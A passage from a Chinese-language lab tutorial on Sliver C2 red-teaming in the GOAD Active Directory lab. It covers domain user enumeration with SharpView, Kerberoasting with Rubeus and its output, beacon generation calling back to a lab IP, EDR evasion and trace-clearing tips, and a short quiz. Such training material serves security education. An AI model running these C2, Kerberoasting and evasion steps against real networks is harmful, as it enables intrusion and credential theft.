InfrastructureRoleOwner        : winterfell.north.sevenkingdoms.local
Name                           : north.sevenkingdoms.local

image

枚舉域用戶

sliver (HTTP_BEACON) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser

[*] Output:
objectsid                      : {S-1-5-21-3845383931-1370366697-225289965-500}
samaccounttype                 : USER_OBJECT
objectguid                     : 5ac87940-e021-4e77-9ade-41bf0936e138
useraccountcontrol             : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
accountexpires                 : 12/31/1600 4:00:00 PM
lastlogon                      : 10/7/2025 9:11:51 AM
lastlogontimestamp             : 10/7/2025 5:55:01 AM
pwdlastset                     : 9/7/2025 8:53:08 AM
lastlogoff                     : 12/31/1600 4:00:00 PM
badPasswordTime                : 10/5/2025 8:08:19 AM
name                           : Administrator
distinguishedname              : CN=Administrator,CN=Users,DC=north,DC=sevenkingdoms,DC=local
whencreated                    : 9/7/2025 4:13:37 PM
whenchanged                    : 10/7/2025 12:55:01 PM
samaccountname                 : Administrator
memberof                       : {CN=Group Policy Creator Owners,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Domain Admins,CN=Users,DC=north,DC=sevenkingdoms,DC=local, CN=Administrators,CN=Builtin,DC=north,DC=sevenkingdoms,DC=local}
cn                             : {Administrator}
objectclass                    : {top, person, organizationalPerson, user}
logoncount                     : 55
codepage                       : 0
objectcategory                 : CN=Person,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
description                    : Built-in account for administering the computer/domain
usnchanged                     : 73893
instancetype                   : 4
badpwdcount                    : 0
usncreated                     : 8196
countrycode                    : 0
primarygroupid                 : 513
lockouttime                    : 0
dscorepropagationdata          : {9/7/2025 4:42:33 PM, 9/7/2025 4:42:29 PM, 9/7/2025 4:29:21 PM, 9/7/2025 4:29:21 PM, 1/1/1601 12:00:00 AM}
logonhours                     : {255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255}
admincount                     : 1
iscriticalsystemobject         : True
...

![image](https://hackmd.io/_uploads/SkSBFUS6gx.png)

尋找有 SPN 的用戶(Kerberoasting)

sliver (HEALTHY_MARACA) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/SharpView.exe Get-NetUser -SPN

[*] Output:
[Get-DomainSearcher] search base: LDAP://DC=north,DC=sevenkingdoms,DC=local
[Get-DomainUser] Searching for non-null service principal names
[Get-DomainUser] filter string: (&(samAccountType=805306368)(servicePrincipalName=*))
objectsid                      : {S-1-5-21-3845383931-1370366697-225289965-502}
samaccounttype                 : USER_OBJECT
objectguid                     : 7aec4ab3-b56c-416f-8fc3-ac97ddb7a2df
useraccountcontrol             : ACCOUNTDISABLE, NORMAL_ACCOUNT
accountexpires                 : NEVER
lastlogon                      : 12/31/1600 4:00:00 PM
pwdlastset                     : 9/7/2025 9:14:10 AM
lastlogoff                     : 12/31/1600 4:00:00 PM
badPasswordTime                : 10/5/2025 8:08:04 AM
name                           : krbtgt
distinguishedname              : CN=krbtgt,CN=Users,DC=north,DC=sevenkingdoms,DC=local
whencreated                    : 9/7/2025 4:14:10 PM
whenchanged                    : 10/5/2025 3:08:04 PM
samaccountname                 : krbtgt
memberof                       : {CN=Denied RODC Password Replication Group,CN=Users,DC=north,DC=sevenkingdoms,DC=local}
cn                             : {krbtgt}
objectclass                    : {top, person, organizationalPerson, user}
ServicePrincipalName           : kadmin/changepw
logoncount                     : 0
codepage                       : 0
objectcategory                 : CN=Person,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local
description                    : Key Distribution Center Service Account
usnchanged                     : 71550
instancetype                   : 4
showinadvancedviewonly         : True
badpwdcount                    : 5
usncreated                     : 12300
countrycode                    : 0
primarygroupid                 : 513
lockouttime                    : 134041504845040788
dscorepropagationdata          : {9/7/2025 4:42:33 PM, 9/7/2025 4:42:29 PM, 9/7/2025 4:29:21 PM, 9/7/2025 4:14:10 PM, 7/14/1601 4:20:16 AM}
msds-supportedencryptiontypes  : 0
admincount                     : 1
iscriticalsystemobject         : True

image

步驟 8: 也可以使用 Rubeus

image

ls /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe
sliver (HTTP_BEACON) > execute-assembly /opt/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /format:hashcat /nowrap

[*] Total kerberoastable users : 3


[*] SamAccountName         : sansa.stark
[*] DistinguishedName      : CN=sansa.stark,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName   : HTTP/eyrie.north.sevenkingdoms.local
[*] PwdLastSet             : 9/7/2025 10:32:41 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT

 [X] Error during request for SPN HTTP/eyrie.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package


[*] SamAccountName         : jon.snow
[*] DistinguishedName      : CN=jon.snow,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName   : CIFS/thewall.north.sevenkingdoms.local
[*] PwdLastSet             : 9/7/2025 10:32:52 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT

 [X] Error during request for SPN CIFS/thewall.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package


[*] SamAccountName         : sql_svc
[*] DistinguishedName      : CN=sql_svc,CN=Users,DC=north,DC=sevenkingdoms,DC=local
[*] ServicePrincipalName   : MSSQLSvc/castelblack.north.sevenkingdoms.local
[*] PwdLastSet             : 9/7/2025 10:32:59 AM
[*] Supported ETypes       : RC4_HMAC_DEFAULT

 [X] Error during request for SPN MSSQLSvc/castelblack.north.sevenkingdoms.local@north.sevenkingdoms.local : No credentials are available in the security package

image

實用技巧與注意事項

OPSEC 考量

  1. 避免過多噪音
    • 使用 beacon 模式而非 session,減少網路流量
    • 調整 jitter 和 interval 參數
sliver > generate beacon --http 192.168.139.138:8080 --seconds 120 --jitter 30
  1. 隱藏在合法進程中
    • 使用 execute-assembly --in-process 避免產生子進程
    • 選擇合適的犧牲進程(sacrificial process)
sliver (HTTP_BEACON) > execute-assembly --in-process /opt/tool.exe
  1. 清理痕跡
    • 移除上傳的檔案
    • 清除執行記錄
sliver (HTTP_BEACON) > rm C:\\Windows\\Temp\\payload.exe

除錯技巧

  1. 查看任務狀態
sliver (HTTP_BEACON) > tasks

 ID   State      Message Type   Created 
==== ========== ============== =========
 1    completed  Ls             12:30:15
 2    pending    Download       12:31:22
  1. 重新連線

如果 beacon 失去連線:

sliver > jobs

# 確認監聽器還在運行
# 等待 beacon 下次回連
  1. 生成除錯版本
sliver > generate beacon --debug --http 192.168.139.138:8080 --save /tmp/debug.exe

總結

今天我們學習了如何在 GOAD 環境中使用 Sliver C2 框架進行紅隊演練。從生成植入物、建立連線、域內偵察到橫向移動,我們體驗了完整的攻擊流程。

關鍵要點:

  1. Sliver 是現代化、開源的 C2 框架
  2. Beacon 模式適合長期潛伏,Session 模式適合互動操作
  3. Armory 提供了豐富的工具生態系統
  4. 內建的 pivoting 功能方便網路滲透
  5. 良好的 OPSEC 意識很重要

參考資源

小試身手

題目 1:C2 框架基礎概念

在 Cyber Kill Chain 模型中,C2 通訊階段的主要目的是什麼?

A. 收集目標系統的漏洞資訊
B. 從目標建立到 C2 伺服器的連線以進行遠端控制
C. 在目標系統上執行有效載荷
D. 將竊取的資料外洩到攻擊者控制的伺服器

✅ 正確答案:B
解析: C2 通訊階段的核心任務是建立並維持攻擊者與受害主機之間的通訊通道,以便後續進行指令控制和資料傳輸。

題目 2:Sliver 運作模式

關於 Sliver 的 Beacon 與 Session 模式,以下敘述何者正確?

A. Beacon 模式提供即時互動,Session 模式定時回連
B. Session 模式適合長期潛伏,Beacon 模式適合即時操作
C. Beacon 模式以固定時間間隔回連,適合規避偵測
D. Session 和 Beacon 模式在功能上完全相同

✅ 正確答案:C
解析: Beacon 模式是非即時的定時回連機制(預設 60 秒),可透過 --seconds--jitter 參數調整,適合長期潛伏。Session 模式則是即時互動模式。

題目 3:Sliver Armory 工具應用

若要在 AD 環境中進行 Kerberoasting 攻擊,以下哪個 Armory 工具組合最適合?

A. mimikatz + nanodump
B. rubeus + nanorobeus
C. seatbelt + sharpview
D. chisel + portbender

✅ 正確答案:B
解析: Rubeus 是專門用於 Kerberos 攻擊的工具,可執行 Kerberoasting、AS-REP Roasting 等攻擊。nanorobeus 是其 BOF(Beacon Object File)版本,更適合 C2 環境使用。

題目 4:指令操作實務

在 Sliver 中執行以下指令的主要目的是什麼?

execute-assembly --in-process /opt/tool.exe

A. 在遠端主機建立新的處理程序執行工具
B. 在目前 Beacon 處理程序內執行 .NET 組件,避免產生子處理程序
C. 將工具上傳到目標主機的記憶體中
D. 啟動一個新的 PowerShell 處理程序執行工具

✅ 正確答案:B
解析: --in-process 參數讓 .NET 組件在目前的 implant 處理程序內執行,避免建立容易被偵測的子處理程序,這是重要的 OPSEC(作業安全)技巧。

題目 5:OPSEC 最佳實踐

為了降低被 EDR(Endpoint Detection and Response)偵測的風險,以下哪種做法最不適當?

A. 使用 --jitter 30 參數為 Beacon 回連時間增加隨機性
B. 將 Beacon interval 設定為 10 秒以獲得更快的回應速度
C. 使用 migrate 指令將 implant 遷移到合法處理程序
D. 執行完畢後立即刪除上傳的工具檔案

✅ 正確答案:B
解析: 將回連間隔設為 10 秒會產生頻繁且規律的網路流量,容易被 EDR 識別為異常行為。正確做法應該是設定較長的間隔(如 60-300 秒)並配合 jitter 參數增加隨機性。


上一篇
AD 攻防實戰演練 Day 24:Exchange 無憑證攻擊 - ProxyLogon 與 ProxyShell 漏洞利用
下一篇
AD 攻防實戰演練 Day 26:Sliver C2 進階應用 - 從列舉到提升權限與橫向移動
系列文
資安這條路:AD 攻防實戰演練26
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言